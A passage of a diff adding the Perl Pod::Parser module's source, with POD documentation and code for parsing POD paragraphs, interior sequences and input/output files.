+ $parser->textblock($text,$line_num,$pod_para);
+
+This method may be overridden by subclasses to take the appropriate
+action when a normal block of POD text is encountered (although the base
+class method will usually do what you want). It is passed the following
+parameters:
+
+=over 3
+
+=item C<$text>
+
+the block of text for the a POD paragraph
+
+=item C<$line_num>
+
+the line-number of the beginning of the paragraph
+
+=item C<$pod_para>
+
+a reference to a C<Pod::Paragraph> object which contains further
+information about the paragraph (see L<Pod::InputObjects>
+for details).
+
+=back
+
+In order to process interior sequences, subclasses implementations of
+this method will probably want to invoke either B<interpolate()> or
+B<parse_text()>, passing it the text block C<$text>, and the corresponding
+line number in C<$line_num>, and then perform any desired processing upon
+the returned result.
+
+The base class implementation of this method simply prints the text block
+as it occurred in the input stream).
+
+=cut
+
+sub textblock {
+ my ($self, $text, $line_num, $pod_para) = @_;
+ my $out_fh = $self->{_OUTPUT};
+ print $out_fh $self->interpolate($text, $line_num);
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<interior_sequence()>
+
+ $parser->interior_sequence($seq_cmd,$seq_arg,$pod_seq);
+
+This method should be overridden by subclasses to take the appropriate
+action when an interior sequence is encountered. An interior sequence is
+an embedded command within a block of text which appears as a command
+name (usually a single uppercase character) followed immediately by a
+string of text which is enclosed in angle brackets. This method is
+passed the sequence command C<$seq_cmd> and the corresponding text
+C<$seq_arg>. It is invoked by the B<interpolate()> method for each interior
+sequence that occurs in the string that it is passed. It should return
+the desired text string to be used in place of the interior sequence.
+The C<$pod_seq> argument is a reference to a C<Pod::InteriorSequence>
+object which contains further information about the interior sequence.
+Please see L<Pod::InputObjects> for details if you need to access this
+additional information.
+
+Subclass implementations of this method may wish to invoke the
+B<nested()> method of C<$pod_seq> to see if it is nested inside
+some other interior-sequence (and if so, which kind).
+
+The base class implementation of the B<interior_sequence()> method
+simply returns the raw text of the interior sequence (as it occurred
+in the input) to the caller.
+
+=cut
+
+sub interior_sequence {
+ my ($self, $seq_cmd, $seq_arg, $pod_seq) = @_;
+ ## Just return the raw text of the interior sequence
+ return $pod_seq->raw_text();
+}
+
+#############################################################################
+
+=head1 OPTIONAL SUBROUTINE/METHOD OVERRIDES
+
+B<Pod::Parser> provides several methods which subclasses may want to override
+to perform any special pre/post-processing. These methods do I<not> have to
+be overridden, but it may be useful for subclasses to take advantage of them.
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=head1 B<new()>
+
+ my $parser = Pod::Parser->new();
+
+This is the constructor for B<Pod::Parser> and its subclasses. You
+I<do not> need to override this method! It is capable of constructing
+subclass objects as well as base class objects, provided you use
+any of the following constructor invocation styles:
+
+ my $parser1 = MyParser->new();
+ my $parser2 = new MyParser();
+ my $parser3 = $parser2->new();
+
+where C<MyParser> is some subclass of B<Pod::Parser>.
+
+Using the syntax C<MyParser::new()> to invoke the constructor is I<not>
+recommended, but if you insist on being able to do this, then the
+subclass I<will> need to override the B<new()> constructor method. If
+you do override the constructor, you I<must> be sure to invoke the
+B<initialize()> method of the newly blessed object.
+
+Using any of the above invocations, the first argument to the
+constructor is always the corresponding package name (or object
+reference). No other arguments are required, but if desired, an
+associative array (or hash-table) my be passed to the B<new()>
+constructor, as in:
+
+ my $parser1 = MyParser->new( MYDATA => $value1, MOREDATA => $value2 );
+ my $parser2 = new MyParser( -myflag => 1 );
+
+All arguments passed to the B<new()> constructor will be treated as
+key/value pairs in a hash-table. The newly constructed object will be
+initialized by copying the contents of the given hash-table (which may
+have been empty). The B<new()> constructor for this class and all of its
+subclasses returns a blessed reference to the initialized object (hash-table).
+
+=cut
+
+sub new {
+ ## Determine if we were called via an object-ref or a classname
+ my ($this,%params) = @_;
+ my $class = ref($this) || $this;
+ ## Any remaining arguments are treated as initial values for the
+ ## hash that is used to represent this object.
+ my $self = { %params };
+ ## Bless ourselves into the desired class and perform any initialization
+ bless $self, $class;
+ $self->initialize();
+ return $self;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<initialize()>
+
+ $parser->initialize();
+
+This method performs any necessary object initialization. It takes no
+arguments (other than the object instance of course, which is typically
+copied to a local variable named C<$self>). If subclasses override this
+method then they I<must> be sure to invoke C<$self-E<gt>SUPER::initialize()>.
+
+=cut
+
+sub initialize {
+ #my $self = shift;
+ #return;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<begin_pod()>
+
+ $parser->begin_pod();
+
+This method is invoked at the beginning of processing for each POD
+document that is encountered in the input. Subclasses should override
+this method to perform any per-document initialization.
+
+=cut
+
+sub begin_pod {
+ #my $self = shift;
+ #return;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<begin_input()>
+
+ $parser->begin_input();
+
+This method is invoked by B<parse_from_filehandle()> immediately I<before>
+processing input from a filehandle. The base class implementation does
+nothing, however, subclasses may override it to perform any per-file
+initializations.
+
+Note that if multiple files are parsed for a single POD document
+(perhaps the result of some future C<=include> directive) this method
+is invoked for every file that is parsed. If you wish to perform certain
+initializations once per document, then you should use B<begin_pod()>.
+
+=cut
+
+sub begin_input {
+ #my $self = shift;
+ #return;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<end_input()>
+
+ $parser->end_input();
+
+This method is invoked by B<parse_from_filehandle()> immediately I<after>
+processing input from a filehandle. The base class implementation does
+nothing, however, subclasses may override it to perform any per-file
+cleanup actions.
+
+Please note that if multiple files are parsed for a single POD document
+(perhaps the result of some kind of C<=include> directive) this method
+is invoked for every file that is parsed. If you wish to perform certain
+cleanup actions once per document, then you should use B<end_pod()>.
+
+=cut
+
+sub end_input {
+ #my $self = shift;
+ #return;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<end_pod()>
+
+ $parser->end_pod();
+
+This method is invoked at the end of processing for each POD document
+that is encountered in the input. Subclasses should override this method
+to perform any per-document finalization.
+
+=cut
+
+sub end_pod {
+ #my $self = shift;
+ #return;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<preprocess_line()>
+
+ $textline = $parser->preprocess_line($text, $line_num);
+
+This method should be overridden by subclasses that wish to perform
+any kind of preprocessing for each I<line> of input (I<before> it has
+been determined whether or not it is part of a POD paragraph). The
+parameter C<$text> is the input line; and the parameter C<$line_num> is
+the line number of the corresponding text line.
+
+The value returned should correspond to the new text to use in its
+place. If the empty string or an undefined value is returned then no
+further processing will be performed for this line.
+
+Please note that the B<preprocess_line()> method is invoked I<before>
+the B<preprocess_paragraph()> method. After all (possibly preprocessed)
+lines in a paragraph have been assembled together and it has been
+determined that the paragraph is part of the POD documentation from one
+of the selected sections, then B<preprocess_paragraph()> is invoked.
+
+The base class implementation of this method returns the given text.
+
+=cut
+
+sub preprocess_line {
+ my ($self, $text, $line_num) = @_;
+ return $text;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<preprocess_paragraph()>
+
+ $textblock = $parser->preprocess_paragraph($text, $line_num);
+
+This method should be overridden by subclasses that wish to perform any
+kind of preprocessing for each block (paragraph) of POD documentation
+that appears in the input stream. The parameter C<$text> is the POD
+paragraph from the input file; and the parameter C<$line_num> is the
+line number for the beginning of the corresponding paragraph.
+
+The value returned should correspond to the new text to use in its
+place If the empty string is returned or an undefined value is
+returned, then the given C<$text> is ignored (not processed).
+
+This method is invoked after gathering up all the lines in a paragraph
+and after determining the cutting state of the paragraph,
+but before trying to further parse or interpret them. After
+B<preprocess_paragraph()> returns, the current cutting state (which
+is returned by C<$self-E<gt>cutting()>) is examined. If it evaluates
+to true then input text (including the given C<$text>) is cut (not
+processed) until the next POD directive is encountered.
+
+Please note that the B<preprocess_line()> method is invoked I<before>
+the B<preprocess_paragraph()> method. After all (possibly preprocessed)
+lines in a paragraph have been assembled together and either it has been
+determined that the paragraph is part of the POD documentation from one
+of the selected sections or the C<-want_nonPODs> option is true,
+then B<preprocess_paragraph()> is invoked.
+
+The base class implementation of this method returns the given text.
+
+=cut
+
+sub preprocess_paragraph {
+ my ($self, $text, $line_num) = @_;
+ return $text;
+}
+
+#############################################################################
+
+=head1 METHODS FOR PARSING AND PROCESSING
+
+B<Pod::Parser> provides several methods to process input text. These
+methods typically won't need to be overridden (and in some cases they
+can't be overridden), but subclasses may want to invoke them to exploit
+their functionality.
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=head1 B<parse_text()>
+
+ $ptree1 = $parser->parse_text($text, $line_num);
+ $ptree2 = $parser->parse_text({%opts}, $text, $line_num);
+ $ptree3 = $parser->parse_text(\%opts, $text, $line_num);
+
+This method is useful if you need to perform your own interpolation
+of interior sequences and can't rely upon B<interpolate> to expand
+them in simple bottom-up order.
+
+The parameter C<$text> is a string or block of text to be parsed
+for interior sequences; and the parameter C<$line_num> is the
+line number corresponding to the beginning of C<$text>.
+
+B<parse_text()> will parse the given text into a parse-tree of "nodes."
+and interior-sequences. Each "node" in the parse tree is either a
+text-string, or a B<Pod::InteriorSequence>. The result returned is a
+parse-tree of type B<Pod::ParseTree>. Please see L<Pod::InputObjects>
+for more information about B<Pod::InteriorSequence> and B<Pod::ParseTree>.
+
+If desired, an optional hash-ref may be specified as the first argument
+to customize certain aspects of the parse-tree that is created and
+returned. The set of recognized option keywords are:
+
+=over 3
+
+=item B<-expand_seq> =E<gt> I<code-ref>|I<method-name>
+
+Normally, the parse-tree returned by B<parse_text()> will contain an
+unexpanded C<Pod::InteriorSequence> object for each interior-sequence
+encountered. Specifying B<-expand_seq> tells B<parse_text()> to "expand"
+every interior-sequence it sees by invoking the referenced function
+(or named method of the parser object) and using the return value as the
+expanded result.
+
+If a subroutine reference was given, it is invoked as:
+
+ &$code_ref( $parser, $sequence )
+
+and if a method-name was given, it is invoked as:
+
+ $parser->method_name( $sequence )
+
+where C<$parser> is a reference to the parser object, and C<$sequence>
+is a reference to the interior-sequence object.
+[I<NOTE>: If the B<interior_sequence()> method is specified, then it is
+invoked according to the interface specified in L<"interior_sequence()">].
+
+=item B<-expand_text> =E<gt> I<code-ref>|I<method-name>
+
+Normally, the parse-tree returned by B<parse_text()> will contain a
+text-string for each contiguous sequence of characters outside of an
+interior-sequence. Specifying B<-expand_text> tells B<parse_text()> to
+"preprocess" every such text-string it sees by invoking the referenced
+function (or named method of the parser object) and using the return value
+as the preprocessed (or "expanded") result. [Note that if the result is
+an interior-sequence, then it will I<not> be expanded as specified by the
+B<-expand_seq> option; Any such recursive expansion needs to be handled by
+the specified callback routine.]
+
+If a subroutine reference was given, it is invoked as:
+
+ &$code_ref( $parser, $text, $ptree_node )
+
+and if a method-name was given, it is invoked as:
+
+ $parser->method_name( $text, $ptree_node )
+
+where C<$parser> is a reference to the parser object, C<$text> is the
+text-string encountered, and C<$ptree_node> is a reference to the current
+node in the parse-tree (usually an interior-sequence object or else the
+top-level node of the parse-tree).
+
+=item B<-expand_ptree> =E<gt> I<code-ref>|I<method-name>
+
+Rather than returning a C<Pod::ParseTree>, pass the parse-tree as an
+argument to the referenced subroutine (or named method of the parser
+object) and return the result instead of the parse-tree object.
+
+If a subroutine reference was given, it is invoked as:
+
+ &$code_ref( $parser, $ptree )
+
+and if a method-name was given, it is invoked as:
+
+ $parser->method_name( $ptree )
+
+where C<$parser> is a reference to the parser object, and C<$ptree>
+is a reference to the parse-tree object.
+
+=back
+
+=cut
+
+sub parse_text {
+ my $self = shift;
+ local $_ = '';
+
+ ## Get options and set any defaults
+ my %opts = (ref $_[0]) ? %{ shift() } : ();
+ my $expand_seq = $opts{'-expand_seq'} || undef;
+ my $expand_text = $opts{'-expand_text'} || undef;
+ my $expand_ptree = $opts{'-expand_ptree'} || undef;
+
+ my $text = shift;
+ my $line = shift;
+ my $file = $self->input_file();
+ my $cmd = "";
+
+ ## Convert method calls into closures, for our convenience
+ my $xseq_sub = $expand_seq;
+ my $xtext_sub = $expand_text;
+ my $xptree_sub = $expand_ptree;
+ if (defined $expand_seq and $expand_seq eq 'interior_sequence') {
+ ## If 'interior_sequence' is the method to use, we have to pass
+ ## more than just the sequence object, we also need to pass the
+ ## sequence name and text.
+ $xseq_sub = sub {
+ my ($sself, $iseq) = @_;
+ my $args = join('', $iseq->parse_tree->children);
+ return $sself->interior_sequence($iseq->name, $args, $iseq);
+ };
+ }
+ ref $xseq_sub or $xseq_sub = sub { shift()->$expand_seq(@_) };
+ ref $xtext_sub or $xtext_sub = sub { shift()->$expand_text(@_) };
+ ref $xptree_sub or $xptree_sub = sub { shift()->$expand_ptree(@_) };
+
+ ## Keep track of the "current" interior sequence, and maintain a stack
+ ## of "in progress" sequences.
+ ##
+ ## NOTE that we push our own "accumulator" at the very beginning of the
+ ## stack. It's really a parse-tree, not a sequence; but it implements
+ ## the methods we need so we can use it to gather-up all the sequences
+ ## and strings we parse. Thus, by the end of our parsing, it should be
+ ## the only thing left on our stack and all we have to do is return it!
+ ##
+ my $seq = Pod::ParseTree->new();
+ my @seq_stack = ($seq);
+ my ($ldelim, $rdelim) = ('', '');
+
+ ## Iterate over all sequence starts text (NOTE: split with
+ ## capturing parens keeps the delimiters)
+ $_ = $text;
+ my @tokens = split /([A-Z]<(?:<+(?:\r?\n|[ \t]))?)/;
+ while ( @tokens ) {
+ $_ = shift @tokens;
+ ## Look for the beginning of a sequence
+ if ( /^([A-Z])(<(?:<+(?:\r?\n|[ \t]))?)$/ ) {
+ ## Push a new sequence onto the stack of those "in-progress"
+ my $ldelim_orig;
+ ($cmd, $ldelim_orig) = ($1, $2);
+ ($ldelim = $ldelim_orig) =~ s/\s+$//;
+ ($rdelim = $ldelim) =~ tr/</>/;
+ $seq = Pod::InteriorSequence->new(
+ -name => $cmd,
+ -ldelim => $ldelim_orig, -rdelim => $rdelim,
+ -file => $file, -line => $line
+ );
+ (@seq_stack > 1) and $seq->nested($seq_stack[-1]);
+ push @seq_stack, $seq;
+ }
+ ## Look for sequence ending
+ elsif ( @seq_stack > 1 ) {
+ ## Make sure we match the right kind of closing delimiter
+ my ($seq_end, $post_seq) = ('', '');
+ if ( ($ldelim eq '<' and /\A(.*?)(>)/s)
+ or /\A(.*?)(\s+$rdelim)/s )
+ {
+ ## Found end-of-sequence, capture the interior and the
+ ## closing the delimiter, and put the rest back on the
+ ## token-list
+ $post_seq = substr($_, length($1) + length($2));
+ ($_, $seq_end) = ($1, $2);
+ (length $post_seq) and unshift @tokens, $post_seq;
+ }
+ if (length) {
+ ## In the middle of a sequence, append this text to it, and
+ ## dont forget to "expand" it if that's what the caller wanted
+ $seq->append($expand_text ? &$xtext_sub($self,$_,$seq) : $_);
+ $_ .= $seq_end;
+ }
+ if (length $seq_end) {
+ ## End of current sequence, record terminating delimiter
+ $seq->rdelim($seq_end);
+ ## Pop it off the stack of "in progress" sequences
+ pop @seq_stack;
+ ## Append result to its parent in current parse tree
+ $seq_stack[-1]->append($expand_seq ? &$xseq_sub($self,$seq)
+ : $seq);
+ ## Remember the current cmd-name and left-delimiter
+ if(@seq_stack > 1) {
+ $cmd = $seq_stack[-1]->name;
+ $ldelim = $seq_stack[-1]->ldelim;
+ $rdelim = $seq_stack[-1]->rdelim;
+ } else {
+ $cmd = $ldelim = $rdelim = '';
+ }
+ }
+ }
+ elsif (length) {
+ ## In the middle of a sequence, append this text to it, and
+ ## dont forget to "expand" it if that's what the caller wanted
+ $seq->append($expand_text ? &$xtext_sub($self,$_,$seq) : $_);
+ }
+ ## Keep track of line count
+ $line += /\n/;
+ ## Remember the "current" sequence
+ $seq = $seq_stack[-1];
+ }
+
+ ## Handle unterminated sequences
+ my $errorsub = (@seq_stack > 1) ? $self->errorsub() : undef;
+ while (@seq_stack > 1) {
+ ($cmd, $file, $line) = ($seq->name, $seq->file_line);
+ $ldelim = $seq->ldelim;
+ ($rdelim = $ldelim) =~ tr/</>/;
+ $rdelim =~ s/^(\S+)(\s*)$/$2$1/;
+ pop @seq_stack;
+ my $errmsg = "*** ERROR: unterminated ${cmd}${ldelim}...${rdelim}".
+ " at line $line in file $file\n";
+ (ref $errorsub) and &{$errorsub}($errmsg)
+ or (defined $errorsub) and $self->$errorsub($errmsg)
+ or carp($errmsg);
+ $seq_stack[-1]->append($expand_seq ? &$xseq_sub($self,$seq) : $seq);
+ $seq = $seq_stack[-1];
+ }
+
+ ## Return the resulting parse-tree
+ my $ptree = (pop @seq_stack)->parse_tree;
+ return $expand_ptree ? &$xptree_sub($self, $ptree) : $ptree;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<interpolate()>
+
+ $textblock = $parser->interpolate($text, $line_num);
+
+This method translates all text (including any embedded interior sequences)
+in the given text string C<$text> and returns the interpolated result. The
+parameter C<$line_num> is the line number corresponding to the beginning
+of C<$text>.
+
+B<interpolate()> merely invokes a private method to recursively expand
+nested interior sequences in bottom-up order (innermost sequences are
+expanded first). If there is a need to expand nested sequences in
+some alternate order, use B<parse_text> instead.
+
+=cut
+
+sub interpolate {
+ my($self, $text, $line_num) = @_;
+ my %parse_opts = ( -expand_seq => 'interior_sequence' );
+ my $ptree = $self->parse_text( \%parse_opts, $text, $line_num );
+ return join '', $ptree->children();
+}
+
+##---------------------------------------------------------------------------
+
+=begin __PRIVATE__
+
+=head1 B<parse_paragraph()>
+
+ $parser->parse_paragraph($text, $line_num);
+
+This method takes the text of a POD paragraph to be processed, along
+with its corresponding line number, and invokes the appropriate method
+(one of B<command()>, B<verbatim()>, or B<textblock()>).
+
+For performance reasons, this method is invoked directly without any
+dynamic lookup; Hence subclasses may I<not> override it!
+
+=end __PRIVATE__
+
+=cut
+
+sub parse_paragraph {
+ my ($self, $text, $line_num) = @_;
+ local *myData = $self; ## alias to avoid deref-ing overhead
+ local *myOpts = ($myData{_PARSEOPTS} ||= {}); ## get parse-options
+ local $_;
+
+ ## See if we want to preprocess nonPOD paragraphs as well as POD ones.
+ my $wantNonPods = $myOpts{'-want_nonPODs'};
+
+ ## Update cutting status
+ $myData{_CUTTING} = 0 if $text =~ /^={1,2}\S/;
+
+ ## Perform any desired preprocessing if we wanted it this early
+ $wantNonPods and $text = $self->preprocess_paragraph($text, $line_num);
+
+ ## Ignore up until next POD directive if we are cutting
+ return if $myData{_CUTTING};
+
+ ## Now we know this is block of text in a POD section!
+
+ ##-----------------------------------------------------------------
+ ## This is a hook (hack ;-) for Pod::Select to do its thing without
+ ## having to override methods, but also without Pod::Parser assuming
+ ## $self is an instance of Pod::Select (if the _SELECTED_SECTIONS
+ ## field exists then we assume there is an is_selected() method for
+ ## us to invoke (calling $self->can('is_selected') could verify this
+ ## but that is more overhead than I want to incur)
+ ##-----------------------------------------------------------------
+
+ ## Ignore this block if it isnt in one of the selected sections
+ if (exists $myData{_SELECTED_SECTIONS}) {
+ $self->is_selected($text) or return ($myData{_CUTTING} = 1);
+ }
+
+ ## If we havent already, perform any desired preprocessing and
+ ## then re-check the "cutting" state
+ unless ($wantNonPods) {
+ $text = $self->preprocess_paragraph($text, $line_num);
+ return 1 unless ((defined $text) and (length $text));
+ return 1 if ($myData{_CUTTING});
+ }
+
+ ## Look for one of the three types of paragraphs
+ my ($pfx, $cmd, $arg, $sep) = ('', '', '', '');
+ my $pod_para = undef;
+ if ($text =~ /^(={1,2})(?=\S)/) {
+ ## Looks like a command paragraph. Capture the command prefix used
+ ## ("=" or "=="), as well as the command-name, its paragraph text,
+ ## and whatever sequence of characters was used to separate them
+ $pfx = $1;
+ $_ = substr($text, length $pfx);
+ ($cmd, $sep, $text) = split /(\s+)/, $_, 2;
+ $sep = '' unless defined $sep;
+ $text = '' unless defined $text;
+ ## If this is a "cut" directive then we dont need to do anything
+ ## except return to "cutting" mode.
+ if ($cmd eq 'cut') {
+ $myData{_CUTTING} = 1;
+ return unless $myOpts{'-process_cut_cmd'};
+ }
+ }
+ ## Save the attributes indicating how the command was specified.
+ $pod_para = new Pod::Paragraph(
+ -name => $cmd,
+ -text => $text,
+ -prefix => $pfx,
+ -separator => $sep,
+ -file => $myData{_INFILE},
+ -line => $line_num
+ );
+ # ## Invoke appropriate callbacks
+ # if (exists $myData{_CALLBACKS}) {
+ # ## Look through the callback list, invoke callbacks,
+ # ## then see if we need to do the default actions
+ # ## (invoke_callbacks will return true if we do).
+ # return 1 unless $self->invoke_callbacks($cmd, $text, $line_num, $pod_para);
+ # }
+
+ # If the last paragraph ended in whitespace, and we're not between verbatim blocks, carp
+ if ($myData{_WHITESPACE} and $myOpts{'-warnings'}
+ and not ($text =~ /^\s+/ and ($myData{_PREVIOUS}||"") eq "verbatim")) {
+ my $errorsub = $self->errorsub();
+ my $line = $line_num - 1;
+ my $errmsg = "*** WARNING: line containing nothing but whitespace".
+ " in paragraph at line $line in file $myData{_INFILE}\n";
+ (ref $errorsub) and &{$errorsub}($errmsg)
+ or (defined $errorsub) and $self->$errorsub($errmsg)
+ or carp($errmsg);
+ }
+
+ if (length $cmd) {
+ ## A command paragraph
+ $self->command($cmd, $text, $line_num, $pod_para);
+ $myData{_PREVIOUS} = $cmd;
+ }
+ elsif ($text =~ /^\s+/) {
+ ## Indented text - must be a verbatim paragraph
+ $self->verbatim($text, $line_num, $pod_para);
+ $myData{_PREVIOUS} = "verbatim";
+ }
+ else {
+ ## Looks like an ordinary block of text
+ $self->textblock($text, $line_num, $pod_para);
+ $myData{_PREVIOUS} = "textblock";
+ }
+
+ # Update the whitespace for the next time around
+ #$myData{_WHITESPACE} = $text =~ /^[^\S\r\n]+\Z/m ? 1 : 0;
+ $myData{_WHITESPACE} = $text =~ /^[^\S\r\n]+\r*\Z/m ? 1 : 0;
+
+ return 1;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<parse_from_filehandle()>
+
+ $parser->parse_from_filehandle($in_fh,$out_fh);
+
+This method takes an input filehandle (which is assumed to already be
+opened for reading) and reads the entire input stream looking for blocks
+(paragraphs) of POD documentation to be processed. If no first argument
+is given the default input filehandle C<STDIN> is used.
+
+The C<$in_fh> parameter may be any object that provides a B<getline()>
+method to retrieve a single line of input text (hence, an appropriate
+wrapper object could be used to parse PODs from a single string or an
+array of strings).
+
+Using C<$in_fh-E<gt>getline()>, input is read line-by-line and assembled
+into paragraphs or "blocks" (which are separated by lines containing
+nothing but whitespace). For each block of POD documentation
+encountered it will invoke a method to parse the given paragraph.
+
+If a second argument is given then it should correspond to a filehandle where
+output should be sent (otherwise the default output filehandle is
+C<STDOUT> if no output filehandle is currently in use).
+
+B<NOTE:> For performance reasons, this method caches the input stream at
+the top of the stack in a local variable. Any attempts by clients to
+change the stack contents during processing when in the midst executing
+of this method I<will not affect> the input stream used by the current
+invocation of this method.
+
+This method does I<not> usually need to be overridden by subclasses.
+
+=cut
+
+sub parse_from_filehandle {
+ my $self = shift;
+ my %opts = (ref $_[0] eq 'HASH') ? %{ shift() } : ();
+ my ($in_fh, $out_fh) = @_;
+ $in_fh = \*STDIN unless ($in_fh);
+ local *myData = $self; ## alias to avoid deref-ing overhead
+ local *myOpts = ($myData{_PARSEOPTS} ||= {}); ## get parse-options
+ local $_;
+
+ ## Put this stream at the top of the stack and do beginning-of-input
+ ## processing. NOTE that $in_fh might be reset during this process.
+ my $topstream = $self->_push_input_stream($in_fh, $out_fh);
+ (exists $opts{-cutting}) and $self->cutting( $opts{-cutting} );
+
+ ## Initialize line/paragraph
+ my ($textline, $paragraph) = ('', '');
+ my ($nlines, $plines) = (0, 0);
+
+ ## Use <$fh> instead of $fh->getline where possible (for speed)
+ $_ = ref $in_fh;
+ my $tied_fh = (/^(?:GLOB|FileHandle|IO::\w+)$/ or tied $in_fh);
+
+ ## Read paragraphs line-by-line
+ while (defined ($textline = $tied_fh ? <$in_fh> : $in_fh->getline)) {
+ $textline = $self->preprocess_line($textline, ++$nlines);
+ next unless ((defined $textline) && (length $textline));
+
+ if ((! length $paragraph) && ($textline =~ /^==/)) {
+ ## '==' denotes a one-line command paragraph
+ $paragraph = $textline;
+ $plines = 1;
+ $textline = '';
+ } else {
+ ## Append this line to the current paragraph
+ $paragraph .= $textline;
+ ++$plines;
+ }
+
+ ## See if this line is blank and ends the current paragraph.
+ ## If it isnt, then keep iterating until it is.
+ next unless (($textline =~ /^[^\S\r\n]*[\r\n]*$/)
+ && (length $paragraph));
+
+ ## Now process the paragraph
+ parse_paragraph($self, $paragraph, ($nlines - $plines) + 1);
+ $paragraph = '';
+ $plines = 0;
+ }
+ ## Dont forget about the last paragraph in the file
+ if (length $paragraph) {
+ parse_paragraph($self, $paragraph, ($nlines - $plines) + 1)
+ }
+
+ ## Now pop the input stream off the top of the input stack.
+ $self->_pop_input_stream();
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<parse_from_file()>
+
+ $parser->parse_from_file($filename,$outfile);
+
+This method takes a filename and does the following:
+
+=over 2
+
+=item *
+
+opens the input and output files for reading
+(creating the appropriate filehandles)
+
+=item *
+
+invokes the B<parse_from_filehandle()> method passing it the
+corresponding input and output filehandles.
+
+=item *
+
+closes the input and output files.
+
+=back
+
+If the special input filename "-" or "<&STDIN" is given then the STDIN
+filehandle is used for input (and no open or close is performed). If no
+input filename is specified then "-" is implied. Filehandle references,
+or objects that support the regular IO operations (like C<E<lt>$fhE<gt>>
+or C<$fh-<Egt>getline>) are also accepted; the handles must already be
+opened.
+
+If a second argument is given then it should be the name of the desired
+output file. If the special output filename "-" or ">&STDOUT" is given
+then the STDOUT filehandle is used for output (and no open or close is
+performed). If the special output filename ">&STDERR" is given then the
+STDERR filehandle is used for output (and no open or close is
+performed). If no output filehandle is currently in use and no output
+filename is specified, then "-" is implied.
+Alternatively, filehandle references or objects that support the regular
+IO operations (like C<print>, e.g. L<IO::String>) are also accepted;
+the object must already be opened.
+
+This method does I<not> usually need to be overridden by subclasses.
+
+=cut
+
+sub parse_from_file {
+ my $self = shift;
+ my %opts = (ref $_[0] eq 'HASH') ? %{ shift() } : ();
+ my ($infile, $outfile) = @_;
+ my ($in_fh, $out_fh);
+ if ($] < 5.006) {
+ ($in_fh, $out_fh) = (gensym(), gensym());
+ }
+ my ($close_input, $close_output) = (0, 0);
+ local *myData = $self;
+ local *_;
+
+ ## Is $infile a filename or a (possibly implied) filehandle
+ if (defined $infile && ref $infile) {
+ if (ref($infile) =~ /^(SCALAR|ARRAY|HASH|CODE|REF)$/) {
+ croak "Input from $1 reference not supported!\n";
+ }
+ ## Must be a filehandle-ref (or else assume its a ref to an object
+ ## that supports the common IO read operations).
+ $myData{_INFILE} = ${$infile};
+ $in_fh = $infile;
+ }
+ elsif (!defined($infile) || !length($infile) || ($infile eq '-')
+ || ($infile =~ /^<&(?:STDIN|0)$/i))
+ {
+ ## Not a filename, just a string implying STDIN
+ $infile ||= '-';
+ $myData{_INFILE} = '<standard input>';
+ $in_fh = \*STDIN;
+ }
+ else {
+ ## We have a filename, open it for reading
+ $myData{_INFILE} = $infile;
+ open($in_fh, "< $infile") or
+ croak "Can't open $infile for reading: $!\n";
+ $close_input = 1;
+ }
+
+ ## NOTE: we need to be *very* careful when "defaulting" the output
+ ## file. We only want to use a default if this is the beginning of
+ ## the entire document (but *not* if this is an included file). We
+ ## determine this by seeing if the input stream stack has been set-up
+ ## already
+
+ ## Is $outfile a filename, a (possibly implied) filehandle, maybe a ref?
+ if (ref $outfile) {
+ ## we need to check for ref() first, as other checks involve reading
+ if (ref($outfile) =~ /^(ARRAY|HASH|CODE)$/) {
+ croak "Output to $1 reference not supported!\n";
+ }
+ elsif (ref($outfile) eq 'SCALAR') {
+# # NOTE: IO::String isn't a part of the perl distribution,
+# # so probably we shouldn't support this case...
+# require IO::String;
+# $myData{_OUTFILE} = "$outfile";
+# $out_fh = IO::String->new($outfile);
+ croak "Output to SCALAR reference not supported!\n";
+ }
+ else {
+ ## Must be a filehandle-ref (or else assume its a ref to an
+ ## object that supports the common IO write operations).
+ $myData{_OUTFILE} = ${$outfile};
+ $out_fh = $outfile;
+ }
+ }
+ elsif (!defined($outfile) || !length($outfile) || ($outfile eq '-')
+ || ($outfile =~ /^>&?(?:STDOUT|1)$/i))
+ {
+ if (defined $myData{_TOP_STREAM}) {
+ $out_fh = $myData{_OUTPUT};
+ }
+ else {
+ ## Not a filename, just a string implying STDOUT
+ $outfile ||= '-';
+ $myData{_OUTFILE} = '<standard output>';
+ $out_fh = \*STDOUT;
+ }
+ }
+ elsif ($outfile =~ /^>&(STDERR|2)$/i) {
+ ## Not a filename, just a string implying STDERR
+ $myData{_OUTFILE} = '<standard error>';
+ $out_fh = \*STDERR;
+ }
+ else {
+ ## We have a filename, open it for writing
+ $myData{_OUTFILE} = $outfile;
+ (-d $outfile) and croak "$outfile is a directory, not POD input!\n";
+ open($out_fh, "> $outfile") or
+ croak "Can't open $outfile for writing: $!\n";
+ $close_output = 1;
+ }
+
+ ## Whew! That was a lot of work to set up reasonably/robust behavior
+ ## in the case of a non-filename for reading and writing. Now we just
+ ## have to parse the input and close the handles when we're finished.
+ $self->parse_from_filehandle(\%opts, $in_fh, $out_fh);
+
+ $close_input and
+ close($in_fh) || croak "Can't close $infile after reading: $!\n";
+ $close_output and
+ close($out_fh) || croak "Can't close $outfile after writing: $!\n";
+}
+
+#############################################################################
+
+=head1 ACCESSOR METHODS
+
+Clients of B<Pod::Parser> should use the following methods to access
+instance data fields:
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=head1 B<errorsub()>
+
+ $parser->errorsub("method_name");
+ $parser->errorsub(\&warn_user);
+ $parser->errorsub(sub { print STDERR, @_ });
+
+Specifies the method or subroutine to use when printing error messages
+about POD syntax. The supplied method/subroutine I<must> return TRUE upon
+successful printing of the message. If C<undef> is given, then the B<carp>
+builtin is used to issue error messages (this is the default behavior).
+
+ my $errorsub = $parser->errorsub()
+ my $errmsg = "This is an error message!\n"
+ (ref $errorsub) and &{$errorsub}($errmsg)
+ or (defined $errorsub) and $parser->$errorsub($errmsg)
+ or carp($errmsg);
+
+Returns a method name, or else a reference to the user-supplied subroutine
+used to print error messages. Returns C<undef> if the B<carp> builtin
+is used to issue error messages (this is the default behavior).
+
